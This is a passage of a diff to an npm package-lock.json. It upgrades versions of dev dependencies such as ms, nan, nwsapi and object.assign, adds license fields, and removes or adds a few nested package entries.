+      "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/md5.js": {
       "version": "1.3.5",
       "resolved": "https://registry.npmjs.org/md5.js/-/md5.js-1.3.5.tgz",
       "integrity": "sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "hash-base": "^3.0.0",
         "inherits": "^2.0.1",
@@ -5977,6 +6662,7 @@
       "resolved": "https://registry.npmjs.org/merge-source-map/-/merge-source-map-1.0.4.tgz",
       "integrity": "sha512-PGSmS0kfnTnMJCzJ16BLLCEe6oeYCamKFFdQKshi4BmM6FUwipjVOcBFGxqtQtirtAG4iZvHlqST9CpZKqlRjA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "source-map": "^0.5.6"
       }
@@ -5985,13 +6671,15 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
       "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/methods": {
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
       "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 0.6"
       }
@@ -6001,6 +6689,7 @@
       "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
       "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "arr-diff": "^4.0.0",
         "array-unique": "^0.3.2",
@@ -6025,6 +6714,7 @@
       "resolved": "https://registry.npmjs.org/miller-rabin/-/miller-rabin-4.0.1.tgz",
       "integrity": "sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "bn.js": "^4.0.0",
         "brorand": "^1.0.1"
@@ -6034,16 +6724,18 @@
       }
     },
     "node_modules/miller-rabin/node_modules/bn.js": {
-      "version": "4.12.0",
-      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
-      "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==",
-      "dev": true
+      "version": "4.12.2",
+      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.2.tgz",
+      "integrity": "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/mime": {
       "version": "1.6.0",
       "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz",
       "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "mime": "cli.js"
       },
@@ -6056,6 +6748,7 @@
       "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz",
       "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 0.6"
       }
@@ -6065,6 +6758,7 @@
       "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz",
       "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "mime-db": "1.52.0"
       },
@@ -6077,6 +6771,7 @@
       "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-1.2.0.tgz",
       "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -6085,19 +6780,22 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz",
       "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/minimalistic-crypto-utils": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz",
       "integrity": "sha512-JIYlbt6g8i5jKfJ3xz7rF0LXmv2TkDxBLUkiBeZ7bAx4GnnNMr8xFpGnOxn6GhTEHx3SjRrZEoU+j04prX1ktg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/minimatch": {
       "version": "3.1.2",
       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
       "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "brace-expansion": "^1.1.7"
       },
@@ -6110,6 +6808,7 @@
       "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz",
       "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==",
       "dev": true,
+      "license": "MIT",
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -6119,6 +6818,7 @@
       "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz",
       "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "for-in": "^1.0.2",
         "is-extendable": "^1.0.1"
@@ -6132,6 +6832,7 @@
       "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz",
       "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "minimist": "^1.2.6"
       },
@@ -6143,13 +6844,15 @@
       "version": "0.5.3",
       "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz",
       "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/module-deps": {
       "version": "6.2.3",
       "resolved": "https://registry.npmjs.org/module-deps/-/module-deps-6.2.3.tgz",
       "integrity": "sha512-fg7OZaQBcL4/L+AK5f4iVqf9OMbCclXfy/znXRxTVhJSeW5AIlS9AwheYwDaXM3lVW7OBeaeUEY3gbaC6cLlSA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "browser-resolve": "^2.0.0",
         "cached-path-relative": "^1.0.2",
@@ -6179,27 +6882,31 @@
       "resolved": "https://registry.npmjs.org/mothership/-/mothership-0.3.0.tgz",
       "integrity": "sha512-/ORGXVhkG5Qal0ZD3BnxG/JtMcCJKOn7FkbbTA8N9HwJyXGsBYq9EXH7WbsRCpGUwmwrpQqN6ENLUL+ebmNTCQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "find-parent-dir": "~0.3.0"
       }
     },
     "node_modules/ms": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
-      "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
-      "dev": true
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/mute-stream": {
       "version": "0.0.7",
       "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.7.tgz",
       "integrity": "sha512-r65nCZhrbXXb6dXOACihYApHw2Q6pV0M3V0PSxd74N0+D8nzAdEAITq2oAjA1jVnKI+tGvEBUpqiMh0+rW6zDQ==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/nan": {
-      "version": "2.17.0",
-      "resolved": "https://registry.npmjs.org/nan/-/nan-2.17.0.tgz",
-      "integrity": "sha512-2ZTgtl0nJsO0KQCjEpxcIr5D+Yv90plTitZt9JBfQvVJDS5seMl3FOvsh3+9CoYWXf/1l5OaZzzF6nDm4cagaQ==",
+      "version": "2.22.2",
+      "resolved": "https://registry.npmjs.org/nan/-/nan-2.22.2.tgz",
+      "integrity": "sha512-DANghxFkS1plDdRsX0X9pm0Z6SJNN6gBdtXfanwoZ8hooC5gosGFSBGRYHUVPz1asKA/kMRqDRdHrluZ61SpBQ==",
       "dev": true,
+      "license": "MIT",
       "optional": true
     },
     "node_modules/nanomatch": {
@@ -6207,6 +6914,7 @@
       "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz",
       "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "arr-diff": "^4.0.0",
         "array-unique": "^0.3.2",
@@ -6228,31 +6936,36 @@
       "version": "1.4.0",
       "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
       "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/next-tick": {
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz",
       "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/nice-try": {
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz",
       "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/node-int64": {
       "version": "0.4.0",
       "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz",
       "integrity": "sha512-O5lz91xSOeoXP6DulyHfllpq+Eg00MWitZIbtPfoSEvqIHdl5gfcY6hYzDWnj0qD5tz52PI08u9qUvSVeUBeHw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/node-notifier": {
       "version": "5.4.5",
       "resolved": "https://registry.npmjs.org/node-notifier/-/node-notifier-5.4.5.tgz",
       "integrity": "sha512-tVbHs7DyTLtzOiN78izLA85zRqB9NvEXkAf014Vx3jtSvn/xBl6bR8ZYifj+dFcFrKI21huSQgJZ6ZtL3B4HfQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "growly": "^1.3.0",
         "is-wsl": "^1.1.0",
@@ -6262,15 +6975,17 @@
       }
     },
     "node_modules/node-releases": {
-      "version": "2.0.13",
-      "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.13.tgz",
-      "integrity": "sha512-uYr7J37ae/ORWdZeQ1xxMJe3NtdmqMC/JZK+geofDrkLUApKRHPd18/TxtBOJ4A0/+uUIliorNrfYV6s1b02eQ==",
-      "dev": true
+      "version": "2.0.19",
+      "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.19.tgz",
+      "integrity": "sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/normalize-package-data": {
       "version": "2.5.0",
       "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz",
       "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==",
+      "license": "BSD-2-Clause",
       "dependencies": {
         "hosted-git-info": "^2.1.4",
         "resolve": "^1.10.0",
@@ -6283,6 +6998,7 @@
       "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz",
       "integrity": "sha512-3pKJwH184Xo/lnH6oyP1q2pMd7HcypqqmRs91/6/i2CGtWwIKGCkOOMTm/zXbgTEWHw1uNpNi/igc3ePOYHb6w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "remove-trailing-separator": "^1.0.1"
       },
@@ -6295,6 +7011,7 @@
       "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz",
       "integrity": "sha512-lJxZYlT4DW/bRUtFh1MQIWqmLwQfAxnqWG4HhEdjMlkrJYnJn0Jrr2u3mgxqaWsdiBc76TYkTG/mhrnYTuzfHw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "path-key": "^2.0.0"
       },
@@ -6306,39 +7023,34 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz",
       "integrity": "sha512-4jbtZXNAsfZbAHiiqjLPBiCl16dES1zI4Hpzzxw61Tk+loF+sBDBKx1ICKKKwIqQ7M0mFn1TmkN7euSncWgHiQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
     },
     "node_modules/nwsapi": {
-      "version": "2.2.7",
-      "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.7.tgz",
-      "integrity": "sha512-ub5E4+FBPKwAZx0UwIQOjYWGHTEq5sPqHQNRN8Z9e4A7u3Tj1weLJsL59yH9vmvqEtBHaOmT6cYQKIZOxp35FQ==",
-      "dev": true
+      "version": "2.2.20",
+      "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.20.tgz",
+      "integrity": "sha512-/ieB+mDe4MrrKMT8z+mQL8klXydZWGR5Dowt4RAGKbJ3kIGEx3X4ljUo+6V73IXtUPWgfOlU5B9MlGxFO5T+cA==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/oauth-sign": {
       "version": "0.9.0",
       "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz",
       "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==",
       "dev": true,
+      "license": "Apache-2.0",
       "engines": {
         "node": "*"
       }
     },
-    "node_modules/object-assign": {
-      "version": "4.1.1",
-      "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
-      "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==",
-      "dev": true,
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
     "node_modules/object-copy": {
       "version": "0.1.0",
       "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz",
       "integrity": "sha512-79LYn6VAb63zgtmAteVOWo9Vdj71ZVBy3Pbse+VqxDpEP83XuujMrGqHIwAXJ5I/aM0zU7dIyIAhifVTPrNItQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "copy-descriptor": "^0.1.0",
         "define-property": "^0.2.5",
@@ -6353,6 +7065,7 @@
       "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
       "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-descriptor": "^0.1.0"
       },
@@ -6360,51 +7073,18 @@
         "node": ">=0.10.0"
       }
     },
-    "node_modules/object-copy/node_modules/is-accessor-descriptor": {
-      "version": "0.1.6",
-      "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
-      "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==",
-      "dev": true,
-      "dependencies": {
-        "kind-of": "^3.0.2"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/object-copy/node_modules/is-data-descriptor": {
-      "version": "0.1.4",
-      "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
-      "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==",
-      "dev": true,
-      "dependencies": {
-        "kind-of": "^3.0.2"
-      },
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
     "node_modules/object-copy/node_modules/is-descriptor": {
-      "version": "0.1.6",
-      "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
-      "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+      "version": "0.1.7",
+      "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.7.tgz",
+      "integrity": "sha512-C3grZTvObeN1xud4cRWl366OMXZTj0+HGyk4hvfpx4ZHt1Pb60ANSXqCK7pdOTeUQpRzECBSTphqvD7U+l22Eg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "is-accessor-descriptor": "^0.1.6",
-        "is-data-descriptor": "^0.1.4",
-        "kind-of": "^5.0.0"
+        "is-accessor-descriptor": "^1.0.1",
+        "is-data-descriptor": "^1.0.1"
       },
       "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/object-copy/node_modules/is-descriptor/node_modules/kind-of": {
-      "version": "5.1.0",
-      "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
-      "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
-      "dev": true,
-      "engines": {
-        "node": ">=0.10.0"
+        "node": ">= 0.4"
       }
     },
     "node_modules/object-copy/node_modules/kind-of": {
@@ -6412,6 +7092,7 @@
       "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
       "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-buffer": "^1.1.5"
       },
@@ -6420,10 +7101,14 @@
       }
     },
     "node_modules/object-inspect": {
-      "version": "1.12.3",
-      "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.3.tgz",
-      "integrity": "sha512-geUvdk7c+eizMNUDkRpW1wJwgfOiOeHbxBR/hLXK1aT6zmVSO0jsQcs7fj6MGw89jC/cjGfLcNOrtMYtGqm81g==",
+      "version": "1.13.4",
+      "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz",
+      "integrity": "sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==",
       "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -6433,6 +7118,7 @@
       "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
       "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">= 0.4"
       }
@@ -6442,6 +7128,7 @@
       "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz",
       "integrity": "sha512-GBaMwwAVK9qbQN3Scdo0OyvgPW7l3lnaVMj84uTOZlswkX0KpF6fyDBJhtTthf7pymztoN36/KEr1DyhF96zEA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "isobject": "^3.0.0"
       },
@@ -6450,14 +7137,17 @@
       }
     },
     "node_modules/object.assign": {
-      "version": "4.1.4",
-      "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.4.tgz",
-      "integrity": "sha512-1mxKf0e58bvyjSCtKYY4sRe9itRk3PJpquJOjeIkz885CczcI4IvJJDLPS72oowuSh+pBxUFROpX+TU++hxhZQ==",
+      "version": "4.1.7",
+      "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.7.tgz",
+      "integrity": "sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.1.4",
-        "has-symbols": "^1.0.3",
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.3",
+        "define-properties": "^1.2.1",
+        "es-object-atoms": "^1.0.0",
+        "has-symbols": "^1.1.0",
         "object-keys": "^1.1.1"
       },
       "engines": {
@@ -6468,16 +7158,19 @@
       }
     },
     "node_modules/object.getownpropertydescriptors": {
-      "version": "2.1.6",
-      "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.6.tgz",
-      "integrity": "sha512-lq+61g26E/BgHv0ZTFgRvi7NMEPuAxLkFU7rukXjc/AlwH4Am5xXVnIXy3un1bg/JPbXHrixRkK1itUzzPiIjQ==",
+      "version": "2.1.8",
+      "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.8.tgz",
+      "integrity": "sha512-qkHIGe4q0lSYMv0XI4SsBTJz3WaURhLvd0lKSgtVuOsJ2krg4SgMw3PIRQFMp07yi++UR3se2mkcLqsBNpBb/A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "array.prototype.reduce": "^1.0.5",
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "es-abstract": "^1.21.2",
-        "safe-array-concat": "^1.0.0"
+        "array.prototype.reduce": "^1.0.6",
+        "call-bind": "^1.0.7",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.2",
+        "es-object-atoms": "^1.0.0",
+        "gopd": "^1.0.1",
+        "safe-array-concat": "^1.1.2"
       },
       "engines": {
         "node": ">= 0.8"
@@ -6491,6 +7184,7 @@
       "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz",
       "integrity": "sha512-tqa/UMy/CCoYmj+H5qc07qvSL9dqcs/WZENZ1JbtWBlATP+iVOe778gE6MSijnyCnORzDuX6hU+LA4SZ09YjFQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "isobject": "^3.0.1"
       },
@@ -6503,6 +7197,7 @@
       "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
       "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "wrappy": "1"
       }
@@ -6512,6 +7207,7 @@
       "resolved": "https://registry.npmjs.org/onetime/-/onetime-2.0.1.tgz",
       "integrity": "sha512-oyyPpiMaKARvvcgip+JV+7zci5L8D1W9RZIz2l1o08AM3pfspitVWnPt3mzHcBPp12oYMTy0pqrFs/C+m3EwsQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "mimic-fn": "^1.0.0"
       },
@@ -6523,6 +7219,7 @@
       "version": "0.3.1",
       "resolved": "https://registry.npmjs.org/onml/-/onml-0.3.1.tgz",
       "integrity": "sha512-+OhJ42QBJnjCUPtt7NabMtC+e9F+/NqDHsj9DT/uZj3nw91Dwbj11/VIIZl1/l8bLmM8wPAF3NN8KHnogA4iOA==",
+      "license": "MIT",
       "dependencies": {
         "sax": "^1.1.4"
       }
@@ -6532,6 +7229,7 @@
       "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz",
       "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "deep-is": "~0.1.3",
         "fast-levenshtein": "~2.0.6",
@@ -6548,12 +7246,14 @@
       "version": "0.3.0",
       "resolved": "https://registry.npmjs.org/os-browserify/-/os-browserify-0.3.0.tgz",
       "integrity": "sha512-gjcpUc3clBf9+210TRaDWbf+rZZZEshZ+DlXMRCeAjp0xhTrnQsKHypIy1J3d5hKdUzj69t708EHtU8P6bUn0A==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/os-locale": {
       "version": "1.4.0",
       "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz",
       "integrity": "sha512-PRT7ZORmwu2MEFt4/fv3Q+mEfN4zetKxufQrkShY2oGvUms9r8otu5HfdyIFHkYXjO7laNsoVGmM2MANfuTA8g==",
+      "license": "MIT",
       "dependencies": {
         "lcid": "^1.0.0"
       },
@@ -6566,15 +7266,35 @@
       "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz",
       "integrity": "sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
     },
+    "node_modules/own-keys": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/own-keys/-/own-keys-1.0.1.tgz",
+      "integrity": "sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "get-intrinsic": "^1.2.6",
+        "object-keys": "^1.1.1",
+        "safe-push-apply": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/p-each-series": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/p-each-series/-/p-each-series-1.0.0.tgz",
       "integrity": "sha512-J/e9xiZZQNrt+958FFzJ+auItsBGq+UrQ7nE89AUP7UOTtjHnkISANXLdayhVzh538UnLMCSlf13lFfRIAKQOA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "p-reduce": "^1.0.0"
       },
@@ -6587,6 +7307,7 @@
       "resolved": "https://registry.npmjs.org/p-finally/-/p-finally-1.0.0.tgz",
       "integrity": "sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -6596,6 +7317,7 @@
